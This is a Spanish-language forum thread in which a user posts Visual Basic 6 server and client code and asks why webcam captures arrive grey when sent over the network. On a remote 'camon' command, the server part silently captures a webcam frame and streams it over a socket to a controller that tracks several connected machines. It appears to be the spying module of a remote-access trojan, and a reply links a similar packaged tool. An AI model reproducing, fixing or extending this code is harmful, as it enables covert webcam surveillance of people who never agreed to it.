hola estoy aver cual es el problema de la transferencia de las captura de la webcam, pongo el codigo, aver si me pueden ayudar, por favor, bueno saludos.
SERVIDOR:
Private Function camon()
On Error Resume Next
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
lol = FreeFile
frago = 8192
goblin = "c:\Juaz.bmp"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
SaveClipbrdPicture
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
s.SendData "finalizada"
Sub SaveClipbrdPicture()
Call SavePicture(Clipboard.GetData(vbCFBitmap), "C:\juaz.bmp")
End Sub
Private Sub s_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
s.GetData datos
'----para la webcam----'
If datos = "camon" Then
camon
End If
'..................
End Sub
CLIENTE:
Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim lol As Integer
Dim fileprin As Variant
lol = FreeFile
fileprin = "c:\captura.bmp"
S(Index).GetData dat
Open fileprin For Binary As #lol
Seek #lol, LOF(lol) + 1
Put #lol, , dat
Close #lol
If dat = "finalizada" Then
camm.Timer1.Enabled = True
End If
Private Sub CommandXP7_Click()
On Error Resume Next
Kill ("c:\captura.bmp")
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camon"
End Sub
MODIFICADO: el problema es que remotamente llegan grises o negras... :-\ , en mi maquina localmente si funciona bien.
nadie se digna a ayudarme :-[
Hola este es uno que hice
http://rapidshare.com/files/187991857/Camara_Winsock.zip.html
Saludos
Very nice snippet
someone please upload again
thanks for the time